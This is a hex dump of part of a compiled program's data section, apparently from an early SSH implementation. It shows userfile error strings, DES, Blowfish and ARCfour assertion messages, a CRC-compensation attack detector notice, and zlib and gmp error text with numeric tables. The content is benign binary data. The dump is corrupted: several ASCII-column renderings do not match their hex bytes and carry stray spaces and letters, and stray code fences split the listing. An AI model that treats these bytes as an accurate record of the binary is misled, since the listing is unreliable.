08074f30    00802008 20000000 20002000 00800008     .  .. .. .. .....
08074f40    20802008 00002000 00002008 20000008     .  . ... ... ..
08074f50    00802000 20800000 20800008 00002000     . .. .. .. ... 
08074f60    20000000 00802008 20802000 00000000     ..... .  . .. ......
08074f70    00000008 20002008 00800000 20802008    .... .  . .... .  .
08074f80    6465735f 6362635f 656e6372 79707400    des_cbc_encrypt.
08074f90    6465732e 6300286c 656e2026 20372920    des.c.(len & 7) 
08074fa0    3d3d2030 00646573 5f636263 5f646563    == 0.des_cbc_dec
08074fb0    72797074 00000000 00000000 00000000    rypt............
08074fc0    61726366 6f75725f 696e6974 00617263    arcfour_init.arc
08074fd0    666f7572 2e63006b 65795f6c 656e203e    four.c.key_len >
08074fe0    20300000 00000000 00000000 00000000     0..............
08074ff0    00000000 00000000 00000000 00000000    ................
08075000    75736572 66696c65 5f706163 6b65745f    userfile_packet_
08075010    73656e64 3a206368 696c6420 68617320    send: child has 
08075020    64696564 3a20252e 31303073 00000000    died: %.100s....
08075030    00000000 00000000 00000000 00000000    ................
08075040    75736572 66696c65 5f726561 645f7261    userfile_read_ra
08075050    773a2063 68696c64 20686173 20646965    w: child has die
08075060    643a2025 2e313030 73000000 00000000    d: %.100s.......
08075070    00000000 00000000 00000000 00000000    ................
08075080    75736572 66696c65 5f726561 645f7261    userfile_read_ra
08075090    773a2072 65636569 76656420 7061636b    w: received pack
080750a0    65742074 6f6f206c 6f6e672e 00000000    et too long.....
080750b0    00000000 00000000 00000000 00000000    ................
080750c0    75736572 66696c65 5f726561 645f7061    userfile_read_pa
080750d0    636b6574 3a20756e 65787065 63746564    cket: unexpected
080750e0    20706163 6b657420 74797065 3a20676f     packet type: go
080750f0    74202564 2c206578 70656374 65642025    t %d, expected %
08075100    64007069 70653a20 252e3130 30730066    d.pipe: %.100s.f
08075110    6f726b3a 20252e31 30307300 64757032    ork: %.100s.dup2
```

```
08075120  20310064 75703220 30002f62 696e2f73      1.dup2 0./bin/s
08075130  68002d63 00484f4d 453d0055 5345523d    h.-c.HOME=.USER=
08075140  00504154 483d004c 4f474e41 4d453d00    .PATH=.LOGNAME=.
08075150  545a3d00 4d41494c 3d005348 454c4c3d    TZ=.MAIL=.SHELL=
08075160  00544552 4d3d0044 4953504c 41593d00    .TERM=.DISPLAY=.
08075170  5052494e 5445523d 00584155 54484f52    PRINTER=.XAUTHOR
08075180  4954593d 00544552 4d434150 3d006578    ITY=.TERMCAP=.ex
08075190  65637620 2f62696e 2f736820 6661696c    ecv /bin/sh fail
080751a0  65643a20 252e3130 30730000 00000000    ed: %.100s......
080751b0  00000000 00000000 00000000 00000000    ................
080751c0  75736572 66696c65 5f636869 6c645f73    userfile_child_s
080751d0  65727665 723a2070 61636b65 74207479    erver: packet ty
080751e0  70652025 64000000 00000000 00000000    pe %d...........
080751f0  6ce30508 c0e60508 c8e30508 c0e60508    l...............
08075200  2ce40508 c0e60508 84e40508 c0e60508    ,...............
08075210  b0e40508 c0e60508 fce40508 c0e60508    ................
08075220  48e50508 c0e60508 a0e50508 c0e60508    H...............
08075230  dce50508 c0e60508 40e60508 c0e60508    ........@.......
08075240  94e60508 75736572 66696c65 5f696e69    ....userfile_ini
08075250  7420616c 72656164 79206361 6c6c6564    t already called
08075260  00736574 6769643a 20252e31 30307300    .setgid: %.100s.
08075270  696e6974 67726f75 70733a20 252e3130    initgroups: %.10
08075280  30730073 65747569 643a2025 2e313030    0s.setuid: %.100
08075290  73000000 00000000 00000000 00000000    s...............
080752a0  75736572 66696c65 5f6f7065 6e3a2075    userfile_open: u
080752b0  73696e67 206e6f6e 2d637572 72656e74    sing non-current
080752c0  20756964 20627574 206e6f74 20696e69     uid but not ini
080752d0  7469616c 697a6564 20287569 643d2564    tialized (uid=%d
080752e0  2c207061 74683d25 2e353073 29000000    , path=%.50s)...
080752f0  00000000 00000000 00000000 00000000    ................
08075300  75736572 66696c65 5f6f7065 6e3a2075    userfile_open: u
08075310  6964206e 6f742063 75727265 6e742061    id not current a
08075320  6e64206e 6f742074 68617420 6f662063    nd not that of c
08075330  68696c64 3a207569 643d2564 2c207061    hild: uid=%d, pa
08075340  74683d25 2e353073 00757365 7266696c    th=%.50s.userfil
08075350  655f636c 6f73653a 20747970 65202564    e_close: type %d
08075360  00000000 00000000 00000000 00000000    ................
08075370  00000000 00000000 00000000 00000000    ................
08075380  75736572 66696c65 5f66696c 6c3a2062    userfile_fill: b
08075390  75666665 72206e6f 7420656d 70747900    uffer not empty.
080753a0  75736572 66696c65 5f66696c 6c3a2067    userfile_fill: g
080753b0  6f74206d 6f726520 7468616e 20646174    ot more than dat
080753c0  61207468 616e2072 65717565 73746564    a than requested
080753d0  00757365 7266696c 655f6669 6c6c3a20    .userfile_fill:
080753e0  74797065 20256400 75736572 66696c65    type %d.userfile
080753f0  5f676574 632f6669 6c6c2065 72726f72    _getc/fill error
08075400  00757365 7266696c 655f7772 6974653a    .userfile_write:
08075410  20747970 65202564 00757365 7266696c     type %d.userfil
08075420  655f6c73 65656b3a 20747970 65202564    e_lseek: type %d
08075430  00757365 7266696c 655f6d6b 64697220    .userfile_mkdir
08075440  77697468 20756964 20256400 00000000    with uid %d.....
08075450  00000000 00000000 00000000 00000000    ................
08075460  75736572 66696c65 5f6d6b64 69722077    userfile_mkdir w
08075470  69746820 77726f6e 67207569 6420256d    ith wrong uid %d
08075480  00757365 7266696c 655f7374 61742077    .userfile_stat w
08075490  69746820 75696420 25640000 00000000    ith uid %d......
080754a0  75736572 66696c65 5f737461 74207769    userfile_stat wi
080754b0  74682077 726f6e67 20756964 20256400    th wrong uid %d.
080754c0  75736572 66696c65 5f72656d 6f766520    userfile_remove
080754d0  77697468 20756964 20256400 00000000    with uid %d.....
080754e0  75736572 66696c65 5f72656d 6f766520    userfile_remove
080754f0  77697468 2077726f 6e672075 69642025    with wrong uid %
08075500  64000000 00000000 00000000 00000000    d...............
08075510  00000000 00000000 00000000 00000000    ................
08075520  75736572 66696c65 5f706f70 656e3a20    userfile_popen:
08075530  7573696e 67206e6f 6e2d6375 7272656e    using non-curren
08075540  74207569 64206275 74206e6f 7420696e    t uid but not in
08075550  69746961 6c697a65 64202875 69643d25    itialized (uid=%
08075560  64290000 00000000 00000000 00000000    d)..............
08075570  00000000 00000000 00000000 00000000    ................
08075580  75736572 66696c65 5f706f70 656e3a20    userfile_popen:
08075590  75696420 6e6f7420 63757272 656e7420    uid not current
080755a0  616e6420 6e6f7420 74686174 206f6620    and not that of
080755b0  6368696c 643a2075 69643d25 64000000    child: uid=%d...
080755c0  0a526563 65697665 64207369 676e616c    .Received signal
080755d0  2025642e 0a00626c 6f776669 73685f63     %d...blowfish_c
080755e0  62635f65 6e637279 70740062 6c6f776f    bc_encrypt.blowf
080755f0  6973682e 6300286c 656e2026 20372920    ish.c.(len & 7)
08075600  3d3d2030 00626c6f 77666973 685f6362    == 0.blowfish_cb
08075610  635f6465 63727970 74000000 00000000    c_decrypt.......
08075620  64657465 63745f61 74746163 6b006465    detect_attack.de
08075630  61747461 636b2e63 006c656e 203c3d20    attack.c.len <=
08075640  28283332 202a2031 30323429 202a2028    ((32 * 1024) * (
08075650  38292900 6c656e20 25202838 29203d3d    8)).len % (8) ==
```

```
08075660  20300000 00000000 00000000 00000000   0...............
08075670  00000000 00000000 00000000 00000000   ................
08075680  496e7374 616c6c69 6e672063 72632063   Installing crc c
08075690  6f6d7065 6e736174 696f6e20 61747461   ompensation atta
080756a0  636b2064 65746563 746f722e 00000000   ck detector.....
080756b0  00000000 00000000 00000000 00000000   ................
080756c0  30313233 34353637 38396162 63646566   0123456789abcdef
080756d0  6768696a 6b6c6d6e 6f707172 73747576   ghijklmnopqrstuv
080756e0  7778797a 00000000 00000000 00000000   wxyz............
080756f0  00000000 00000000 00000000 00000000   ................
08075700  30313233 34353637 38394142 43444546   0123456789ABCDEF
08075710  4748494a 4b4c4d4e 4f505152 53545556   GHIJKLMNOPQRSTUV
08075720  5758595a 00000000 00000000 00000000   WXYZ............
08075730  00000000 00000000 00000000 00000000   ................
08075740  30313233 34353637 38396162 63646566   0123456789abcdef
08075750  6768696a 6b6c6d6e 6f707172 73747576   ghijklmnopqrstuv
08075760  7778797a 00000000 00000000 00000000   wxyz............
08075770  00000000 00000000 00000000 00000000   ................
08075780  30313233 34353637 38394142 43444546   0123456789ABCDEF
08075790  4748494a 4b4c4d4e 4f505152 53545556   GHIJKLMNOPQRSTUV
080757a0  5758595a 00000000 00000000 00000000   WXYZ............
080757b0  00000000 00000000 00000000 00000000   ................
080757c0  63616e6e 6f742061 6c6c6f63 61746520   cannot allocate
080757d0  696e2067 6d700000 0000803f 00000000   in gmp.....?....
080757e0  00000000 00000000 00000000 00000000   ................
080757f0  00000000 9976967e 00000000 00000000   .....v.~........
08075800  20000000 0000803f 01000000 00000000    ......?........
08075810  14000000 9d84213f 911bd4cf 243c563b   ......!?....$<V  ;
08075820  10000000 0000003f 02000000 00000000   .......?........
08075830  0d000000 a381dc3e 9573c248 84265cc2   .......>.s.H.&\.
08075840  0c000000 9211c63e 0010bf81 b6d11bf9   .......>........
08075850  0b000000 ca60b63e 979cdb75 cba20716   .....`.>...u....
08075860  0a000000 abaaaa3e 03000000 00000000   .......>........
08075870  0a000000 9d84a13e 911bd4cf 243c563b   .......>...$<V  ;
08075880  09000000 9b209a3e 00ca9a3b 82bee012   ..... .>...  i....
08075890  09000000 4e00943e 2b6d8b8c 04de4cd2   ....N..>+m....L.
080758a0  08000000 9cd18e3e 0000a119 b59aa33f   .......>.......?
080758b0  08000000 a85c8a3e 21109f30 5facf850   .....\.>!..0_..P
080758c0  08000000 007a863e 00c1f657 1e3b8474   .....z.>...W.  i.t
080758d0  08000000 ee0c833e 819bc298 c22603ad   .......>.....&..
080758e0  08000000 0000803e 04000000 00000000   .......>........
080758f0  07000000 ac857a3e 71457518 bdb6f04e   ......z>qEu....N
08075900  07000000 6691753e 80bc7d24 a148fcc0   ....f.u>..}$.H..
08075910  07000000 090f713e 7b664735 42898333   ......q>{fG5B..3
08075920  07000000 69ee6c3e 00404b4c ab297fad   ....i.l>.@KL.)..
08075930  07000000 6422693e 1d6e5a6b 153d3c31   ....d"i>.nZk.=<1
08075940  07000000 2ca0653e 80e1ac94 e0a9ccb8   ....,.e>........
08075950  07000000 cb5e623e 6783f1ca e96ded42   .....^b>g....m.B
08075960  06000000 bb565f3e 0000640b 0b0e9867   .....V_>..d....g
08075970  06000000 a3815c3e 514a8d0e 12987919   ......\>QJ....y.
08075980  06000000 1ada593e 40ae6912 9653e8bc   ......Y>@.i..S..
08075990  06000000 7c5b573e 49911717 a903c162   ....|[W>I......b
080759a0  06000000 c801553e 0010b91c 433d351d   ......U>....C=5.
080759b0  06000000 83c9523e 99487423 eaec1dce   ......R>.Ht#....
080759c0  06000000 a6af503e 40a8732b 11c50f79   ......P>@.s+...y
080759d0  06000000 87b14e3e 413be634 a065b835   ......N>A  i.4.e.5
080759e0  06000000 cdcc4c3e 05000000 00000000   ......L>........
080759f0  06000000 64ff4a3e c13cfa4c b3d1aea9   ....d.J>.<.L....
08075a00  06000000 7447493e 40d8135c 29c2df63   ....tGI>@..\)..c
08075a10  06000000 56a3473e 19b5916d 30ee0f2b   ....V.G>...m0..+
08075a20  06000000 9211463e 0010bf81 b6d11bf9   ......F>........
08075a30  06000000 d490443e c9e0ed98 a9c389ac   ......D>........
08075a40  06000000 e91f433e 403e77b3 fe322c6d   ......C>@>w..2,m
08075a50  06000000 bdbd413e d1c4bbd1 c9077938   ......A>......y8
08075a60  06000000 5669403e 000024f4 0b7a6f0c   ....Vi@>..$..zo.
08075a70  05000000 cf213f3e 49d3e706 54819228   .....!?>I...T..(
08075a80  05000000 59e63d3e a030ca07 9d62e806   ....Y.=>.0...b..
08075a90  05000000 36b63c3e bb2bc308 a0dc73d3   ....6.<>.+....s.
08075aa0  05000000 b8903b3e 006cd409 9578b1a0   ......  i>.l...x..
08075ab0  05000000 40753a3e fdacff0a a5116874   ....@u:>......ht
08075ac0  05000000 3b63393e e0be460c 0f50a64d   ....  ic9>..F..P.M
08075ad0  05000000 225a383e ef86ab0d 8235a22b   ...."Z8>....5.+
08075ae0  05000000 7859373e 0000300f 880ab20d   ....xY7>..0.....
08075af0  05000000 ca60363e f13ad610 e45c8de6   .....`6>.:...\..
08075b00  05000000 ad6f353e 205fa012 9dfdcdb7   .....o5> _......
08075b10  05000000 be85343e e3aa9014 3339588e   ......4>....39X.
08075b20  05000000 a0a2333e 0074a916 eac37c69   ......3>.t....|i
08075b30  05000000 00c6323e 2528ed18 6ccaa548   ......2>%(..l..H
08075b40  05000000 8bef313e 604d5e1b 16db522b   ......1>`M^...R+
08075b50  05000000 f71e313e 9782ff1d a6861511   ......1>........
08075b60  05000000 0054303e 0080d320 362b1df3   .....T0>... 6+..
08075b70  05000000 638e2f3e 9917dd23 196dd7c8   ....c./>...#.m..
08075b80  05000000 e4cd2e3e a0351f27 b41ecba2   .......>.5.'...
08075b90  05000000 49122e3e 0be19c2a c33e7c80   ....I..>...*.>|.
```

```
08075ba0   05000000  5b5b2d3e 003c592e bfc87e61   ....[[->.<Y...~a
08075bb0   05000000  eaa82c3e 4d845732 be6c7445   ......,>M.W2.ltE
08075bc0   05000000  c4fa2b3e e0139b36 73a20a2c   ......+>...6s..,
08075bd0   05000000  bd502b3e 3f61273b 0508f914   .....P+>?a'  i....
08075be0   05000000  abaa2a3e 06000000 00000000   ......*>........
08075bf0   05000000  65082a3e 41a12845 2908cfd9   ....e.*>A.(E)...
08075c00   05000000  c669293e 2014a54a 4148fcb6   .....i)> ..JAH..
08075c10   05000000  aace283e 33467950 cb543097   ......(>3FyP.T0.
08075c20   05000000  ef36283e 0044a956 4bbe1d7a   .....6(>.D.VK..z
08075c30   05000000  75a2273e 7539395d 7fcd7f5f   ....u.'>u99]..._
08075c40   05000000  1d11273e 60722d64 846c1947   ......'>`r-d.l.G
08075c50   05000000  cb82263e e75a8a6b 3536b430   ......&>.Z.k56.0
08075c60   05000000  63f7253e 00805473 f6a51f1c   ....c.%>..Ts....
08075c70   05000000  cc6e253e e98f907b 4a633009   .....n%>...{Jc0.
08075c80   05000000  ece8243e a05a4384 3c4a7fef   ......$>.ZC.<J..
08075c90   05000000  ac65243e 5bd2718d d25255cf   ......e$>[.q..RU.
08075ca0   05000000  f4e4233e 000c2197 8e7ca4b1   ......#>..!..|..
08075cb0   05000000  b166233e 9d3f56a1 3eb43496   .....f#>.?V.>.4.
08075cc0   05000000  ccea223e e0c816ac 7d81d37c   ......">....}..|
08075cd0   05000000  3471223e 8f2768b7 61675365   ....4q">.'h.agSe
08075ce0   05000000  d5f9213e 000050c3 8e588b4f   ......!>..P..X.O
08075cf0   05000000  9d84213e 911bd4cf 243c563b   ......!>....$<V  i
08075d00   05000000  7b11213e 2069fadc 54819228   ....{.!> i..T..(
08075d10   05000000  5fa0203e 83fdc8ea b0bf2117   ...._. >......!.
08075d20   05000000  3a31203e 001446f9 9d62e806   ....:1 >..F..b..
08075d30   04000000  fdc31f3e b1841c03 7cc11c49   .......>....|..I
08075d40   04000000  98581f3e 10ab4203 3bd8113a   .....X.>..B.   i..:
08075d50   04000000  feee1e3e 212c6a03 cd74e02b   .......>!,j..t.+
08075d60   04000000  23871e3e 00109303 e7027a1e   ....#..>......z.
08075d70   04000000  f9201e3e e15ebd03 dd0ed111   ..... .>.^......
08075d80   04000000  75bc1d3e 1021e903 682cd905   ....u..>.!..h,..
08075d90   04000000  8b591d3e f15e1604 b2bf0df5   .....Y.>.^......
08075da0   04000000  2ff81c3e 00214504 16139fdf   ..../..>.!E.....
08075db0   04000000  56981c3e d16f7504 84a652cb   ....V..>.ou...R.
08075dc0   04000000  f7391c3e 1054a704 973e16b8   .....9.>.T...>..
08075dd0   04000000  08dd1b3e 81d6da04 69f2d8a5   .......>....i...
08075de0   04000000  7d811b3e 00001005 cd0f8b94   ....}..>.......
08075df0   04000000  50271b3e 81d94605 15021e84   ....P'.>..F.....
08075e00   04000000  76ce1a3e 106c7f05 1e3b8474   ....v..>.l...  i.t
08075e10   04000000  e7761a3e d1c0b905 6e1eb165   .....v.>....n..e
08075e20   04000000  9b201a3e 00e1f505 23ee9857   ..... .>....#..W
08075e30   04000000  88cb193e f1d53306 9bb9304a   .......>..3...0J
08075e40   04000000  aa77193e 10a97306 944d6e3d   .....w.>..s..Mn=
08075e50   04000000  f624193e e163b506 b0254831   .....$.>.c...%H1
08075e60   04000000  67d3183e 0010f906 2e5fb525   ....g..>....._.%
08075e70   04000000  f582183e 21b73e07 cbacad1a   .......>!.>.....
08075e80   04000000  9a33183e 10638607 a24b2910   .....3.>.c...K).
08075e90   04000000  4ee5173e b11dd007 f6f82006   ....N..>...... .
08075ea0   04000000  0d98173e 00f11b08 b6d11bf9   .......>........
08075eb0   04000000  ce4b173e 11e76908 2a7bd3e6   .....K.>..i.*{..
08075ec0   04000000  8e00173e 100aba08 6eff5cd5   .......>....n.\.
08075ed0   04000000  46b6163e 41640c09 b22dadc4   ....F..>Ad...-..
08075ee0   04000000  f06c163e 00006109 cf85b9b4   .....l.>..a.....
08075ef0   04000000  8724163e c1e7b709 ef2b78a5   .....$.>.....+x.
08075f00   04000000  07dd153e 1026110a 2adddf96   .......>.&..*...
08075f10   04000000  6996153e 91c56c0a 09e5e788   ....i..>..l.....
08075f20   04000000  a950153e 00d1ca0a d313887b   .....P.>.......{
08075f30   04000000  c30b153e 31532b0b 95b5b86e   .......>1S+....n
08075f40   04000000  b2c7143e 10578e0b db897262   .......>.W....rb
08075f50   04000000  7184143e a1e7f30b 07bcae56   ....q..>......V
08075f60   04000000  fb41143e 00105c0c 33dc664b   .....A.>..\.3.fK
08075f70   04000000  4e00143e 61dbc60c a3d89440   ....N..>a......@
08075f80   04000000  64bf133e 1055340d a5f73236   ....d..>.U4...26
08075f90   04000000  3b7f133e 7188a40d f0d13b2c   ....  i..>q.....i,
08075fa0   04000000  cd3f133e 0081170e 5f4daa22   .....?.>....._M."
08075fb0   04000000  1701133e 514a8d0e 12987919   .......>QJ....y.
08075fc0   04000000  17c3123e 10f0050f e523a510   .......>.....#..
08075fd0   04000000  c785123e 017e810f 37a22808   .......>.~..7.(.
08075fe0   04000000  2449123e 07000000 00000000   ....$I.>........
08075ff0   04000000  2d0d123e 01828110 52c44ef0   ....-..>....R.N.
08076000   04000000  dcd1113e 10100611 4a4436e1   .......>....JD6.
08076010   04000000  2f97113e 51b68d11 8995afd2   ..../..>Q.......
08076020   04000000  235d113e 00811812 832ab4c4   ....#].>.....*..
08076030   04000000  b523113e 717ca612 f5cc3db7   .....#.>.q|....=.
08076040   04000000  e2ea103e 10b53713 c59846aa   .......>..7...F.
08076050   04000000  a6b2103e 6137cc13 29f7c89d   .......>a7..)...
08076060   04000000  007b103e 00106414 309abf91   .....{.>..d.0...
08076070   04000000  ed43103e a14bff14 87782586   .....C.>.K...x%.
08076080   04000000  6a0d103e 10f79d15 8cc9f57a   ....j..>.......z
08076090   04000000  74d70f3e 311f4016 a0012c70   ....t..>1.@...,p
080760a0   04000000  09a20f3e 00d1e516 b1cec365   .......>......e
080760b0   04000000  276d0f3e 91198f17 0215b95b   ....'m.>.......[
080760c0   04000000  cb380f3e 10063c18 23ec0752   .....8.>.<.#..R
080760d0   04000000  f3040f3e c1a3ec18 199cac48   .......>.......H
```

```
080760e0    04000000 9cd10e3e 0000a119 b59aa33f    .......>.......?
080760f0    04000000 c59e0e3e 4128591a 1289e936    .......>A(Y....6
08076100    04000000 6b6c0e3e 102a151b 40317b2e    ....kl.>.*..@1{.
08076110    04000000 8c3a0e3e 1113d51b 0b845526    .....:.>......U&
08076120    04000000 26090e3e 00f1981c ea96751e    ....&..>......u.
08076130    04000000 37d80d3e b1d1601d 0da2d816    ....7..>..`....
08076140    04000000 bda70d3e 10c32c1e 87fe7b0f    .......>..,....{.
08076150    04000000 b7770d3e 21d3fc1e 92245d08    .....w.>!....$].
08076160    04000000 22480d3e 0010d11f f4a97901    ...."H.>......y.
08076170    04000000 fc180d3e e187a920 eb809ef5    .......>...  ...
08076180    04000000 45ea0c3e 10498621 db68b7e8    ....E..>.I.!.h..
08076190    04000000 f8bb0c3e f1616722 d5d639dc    .......>.ag"..9.
080761a0    04000000 178e0c3e 00e14c23 d1c521d0    .......>..L#..!.
080761b0    04000000 9e600c3e d1d43624 375e6bc4    .....`.>..6$7^k.
080761c0    04000000 8c330c3e 104c2525 9cf312b9    .....3.>.L%%....
080761d0    04000000 e0060c3e 81551826 940215ae    .......>.U.&....
080761e0    04000000 98da0b3e 00001027 b12e6ea3    .......>...'..n.
080761f0    04000000 b2ae0b3e 815a0c28 94401b99    .......>.Z.(.@..
08076200    04000000 2c830b3e 10740d29 1e24198f    ....,..>.t.).$..
08076210    04000000 06580b3e d15b132a b7e66485    .....X.>.[.*..d.
08076220    04000000 3e2d0b3e 00211e2b b4b5fb7b    ....>-.>.!.+...{
08076230    04000000 d2020b3e f1d22d2c c8dcda72    .......>..-,...r
08076240    04000000 c3d80a3e 1081422d 98c4ff69    .......>..B-...i
08076250    04000000 0caf0a3e e13a5c2e 54f16761    .......>.:\.T.ga
08076260    04000000 af850a3e 00107b2f 6e011159    .......>..{/n..Y
08076270    04000000 a85c0a3e 21109f30 5facf850    .....\.>!..0_..P
08076280    04000000 f7330a3e 104bc831 7cc11c49    .....3.>.K.1|..I
08076290    04000000 9c0b0a3e b1d0f632 d8267b41    .......>...2.&{A
080762a0    04000000 94e3093e 00b12a34 3bd8113a    .......>..*4   i..:
080762b0    04000000 debb093e 11fc6335 22e6de32    .......>..c5"..2
080762c0    04000000 7a94093e 10c2a236 cd74e02b    ....z..>...6.t.+
080762d0    04000000 656d093e 4113e737 58bb1425    ....em.>A..7X..%
080762e0    04000000 a046093e 00003139 e7027a1e    .....F.>..19..z.
080762f0    04000000 2820093e c198803a d0a50e18    ....( .>...:....
08076300    04000000 fef9083e 10eed53b dd0ed111    .......>...   i....
08076310    04000000 1fd4083e 9110313d 8eb8bf0b    .......>.1=.....
08076320    04000000 8aae083e 0011923e 682cd905    .......>...>h,..
08076330    04000000 4089083e 3100f93f 4c021c00    ....@..>1..?L...
08076340    04000000 3f64083e 10ef6541 b2bf0df5    ....?d.>..eA....
08076350    04000000 853f083e a1eed842 a3ef30ea    .....?.>...B..0.
08076360    04000000 121b083e 00105244 16139fdf    .......>..RD....
08076370    04000000 e5f6073e 6164d145 c9c055d5    .......>ad.E..U.
08076380    04000000 fdd2073e 10fd5647 84a652cb    .......>..VG..R.
08076390    04000000 59af073e 71ebe248 1f8893c1    ....Y..>q..H....
080763a0    04000000 f88b073e 0041754a 973e16b8    .......>.AuJ.>..
080763b0    04000000 da68073e 510f0e4c 24b7d8ae    .....h.>Q..L$...
080763c0    04000000 fd45073e 1068ad4d 69f2d8a5    .....E.>.h.Mi...
080763d0    04000000 6123073e 015d534f 9d03159d    ....a#.>.]SO....
080763e0    04000000 0401073e 00000051 cd0f8b94    .......>...Q....
080763f0    04000000 e6de063e 0163b352 1d4d398c    .......>.c.R.M9.
08076400    04000000 07bd063e 10986d54 15021e84    .......>..mT....
08076410    04000000 659b063e 51b12e56 f884377c    ....e..>Q..V..7|
08076420    04000000 007a063e 00c1f657 1e3b8474    .....z.>...W.   i.t
08076430    04000000 d758063e 71d9c559 5d98026d    .....X.>q..Y]..m
08076440    04000000 e937063e 100d9c5b 6e1eb165    .....7.>...[n..e
08076450    04000000 3517063e 616e795d 645c8e5e    ....5..>any]d\.^
08076460    04000000 bbf6053e 00105e5f 23ee9857    .......>..^_#..W
08076470    04000000 7bd6053e a1044a61 de7bcf50    ....{..>..Ja.{.P
08076480    04000000 72b6053e 105f3d63 9bb9304a    ....r..>._=c..0J
08076490    04000000 a296053e 31323865 bd66bb43    .......>128e.f.C
080764a0    04000000 0877053e 00913a67 944d6e3d    .....w.>..:g.Mn=
080764b0    04000000 a557053e 918e4469 ee424837    .....W.>..Di.BH7
080764c0    04000000 7838053e 103e566b b0254831    ....x8.>.>Vk.%H1
080764d0    04000000 7f19053e c1b26f6d 75de6c2b    .......>..omu.l+
080764e0    04000000 bbfa043e 0000916f 2e5fb525    .......>...o._.%
080764f0    04000000 2bdc043e 4139ba71 c5a22020    ....+..>A9.q..
08076500    04000000 cfbd043e 1072eb73 cbacad1a    .......>.r.s....
08076510    04000000 a59f043e 11be2476 1f895b15    .......>..$v..[.
08076520    04000000 ad81043e 00316678 a24b2910    .......>.1fx.K).
08076530    04000000 e763043e b1deaf7a e90f160b    .....c.>...z....
08076540    04000000 5146043e 10db017d f6f82006    ....QF.>...}...
08076550    04000000 ec28043e 213a5c7f ef304901    .....(.>!:\..0I.
08076560    04000000 b70b043e 0010bf81 b6d11bf9    .......>........
08076570    04000000 b1ee033e e1702a84 c7b0dcef    .......>.p*.....
08076580    04000000 dad1033e 10719e86 2a7bd3e6    .......>.q..*{..
08076590    04000000 32b5033e f1241b89 4ab9fedd    ....2..>.$..J...
080765a0    04000000 b698033e 00a1a08b 6eff5cd5    .......>....n.\.
080765b0    04000000 697c033e d1f92e8e 50edeccc    ....i|.>....P...
080765c0    04000000 4960033e 1044c690 b22dadc4    ....I`.>.D...-..
080765d0    04000000 5444033e 81946693 f9759cbc    ....TD.>..f..u..
080765e0    04000000 8b28033e 00001096 cf85b9b4    .....(.>.......
080765f0    04000000 ee0c033e 819bc298 c22603ad    .......>......&..
08076600    04000000 7cf1023e 107c7e9b ef2b78a5    ....|..>.|~..+x.
08076610    04000000 34d6023e d1b6439e a971179e    ....4..>..C..q..
```

```
08076620    04000000 16bb023e 006112a1 2adddf96    .......>.a..*...
08076630    04000000 22a0023e f18feaa3 415cd08f    ...."..>....A\..
08076640    04000000 5685023e 1059cca6 09e5e788    ....V..>.Y......
08076650    04000000 b46a023e e1d1b7a9 9d752582    .....j.>.....u%.
08076660    04000000 3950023e 0010adac d313887b    ....9P.>.......{
08076670    04000000 e735023e 2129acaf f9cc0e75    .....5.>!).....u
08076680    04000000 bb1b023e 1033b5b2 95b5b86e    .......>.3.....n
08076690    04000000 b701023e b143c8b5 23e98468    .......>.C..#..h
080766a0    04000000 dae7013e 0071e5b8 db897262    .......>.q...rb
080766b0    04000000 22ce013e 11d10cbc 7bc0805c    ...."..>....{..\
080766c0    04000000 91b4013e 107a3ebf 07bcae56    .......>.z>....V
080766d0    04000000 259b013e 41827ac2 9bb1fb50    ....%..>A.z....P
080766e0    04000000 de81013e 0000c1c5 33dc664b    .......>....3.fK
080766f0    04000000 bc68013e c10912c9 7c7cef45    .....h.>....||.E
08076700    04000000 be4f013e 10b66dcc a3d89440    .....O.>..m....@
08076710    04000000 e436013e 911bd4cf 243c563b    .....6.>....$<V  ;
08076720    04000000 2d1e013e 005145d3 a5f73236    ....-..>.QE...26
08076730    04000000 9b05013e 316dc1d6 c3602a31    .......>1m...`*1
08076740    04000000 2aed003e 108748da f0d13b2c    ....*..>..H...   ;,
08076750    04000000 dcd4003e a1b5dadd 45aa6627    .......>....E.f'
08076760    04000000 b1bc003e 001078e1 5f4daa22    .......>..x._M."
08076770    04000000 a8a4003e 61ad20e5 3c23061e    .......>a. .<#..
08076780    04000000 c08c003e 10a5d4e8 12987919    .......>.....y.
08076790    04000000 f974003e 710e94ec 331c0415    .....t.>q...3...
080767a0    04000000 535d003e 00015ff0 e523a510    ....S].>.._..#..
080767b0    04000000 ce45003e 519435f4 49275c0c    .....E.>Q.5.I'\.
080767c0    04000000 6a2e003e 10e017f8 37a22808    ....j..>....7.(.
080767d0    04000000 2517003e 01fc05fc 23140a04    ....%..>....#...
080767e0    696e636f 6d706174 69626c65 20766572    incompatible ver
080767f0    73696f6e 00627566 66657220 6572726f    sion.buffer erro
08076800    7200696e 73756666 69636965 6e74206d    r.insufficient m
08076810    656d6f72 79006461 74612065 72726f72    emory.data error
08076820    00737472 65616d20 6572726f 72006669    .stream error.fi
08076830    6c652065 72726f72 00007374 7265616d    le error..stream
08076840    20656e64 006e6565 64206469 6374696f     end.need dictio
08076850    6e617279 00312e30 2e340000 00000000    nary.1.0.4......
08076860    756e6b6e 6f776e20 636f6d70 72657373    unknown compress
08076870    696f6e20 6d657468 6f640069 6e76616c    ion method.inval
08076880    69642077 696e646f 77207369 7a650069    id window size.i
08076890    6e636f72 72656374 20686561 64657220    ncorrect header
080768a0    63686563 6b006e65 65642064 69637469    check.need dicti
080768b0    6f6e6172 7900696e 636f7272 65637420    onary.incorrect
080768c0    64617461 20636865 636b0000 00000000    data check......
080768d0    348b0608 9a8b0608 168c0608 488c0608    4..........H...
080768e0    7a8c0608 ac8c0608 e48c0608 008d0608    z...............
080768f0    768d0608 a88d0608 da8d0608 0c8e0608    v...............
08076900    628e0608 6c8e0608 00000000 00000000    b...l...........
08076910    00000000 00000000 00000000 00000000    ................
08076920    696e7661 6c696420 626c6f63 6b207479    invalid block ty
08076930    70650069 6e76616c 69642073 746f7265    pe.invalid store
08076940    6420626c 6f636b20 6c656e67 74687300    d block lengths.
08076950    00000000 00000000 00000000 00000000    ................
08076960    746f6f20 6d616e79 206c656e 67746820    too many length
08076970    6f722064 69737461 6e636520 73796d62    or distance symb
08076980    6f6c7300 696e7661 6c696420 62697420    ols.invalid bit
08076990    6c656e67 74682072 65706561 74000000    length repeat...
080769a0    00930608 d1940608 20950608 a9960608    ........ .......
080769b0    52970608 b8980608 1d9c0608 ff9c0608    R...............
080769c0    3c9d0608 749d0608 00000000 00000000    <...t...........
080769d0    00000000 00000000 00000000 00000000    ................
080769e0    6f766572 73756273 63726962 65642064    oversubscribed d
080769f0    796e616d 69632062 6974206c 656e6774    ynamic bit lengt
08076a00    68732074 72656500 00000000 00000000    hs tree.........
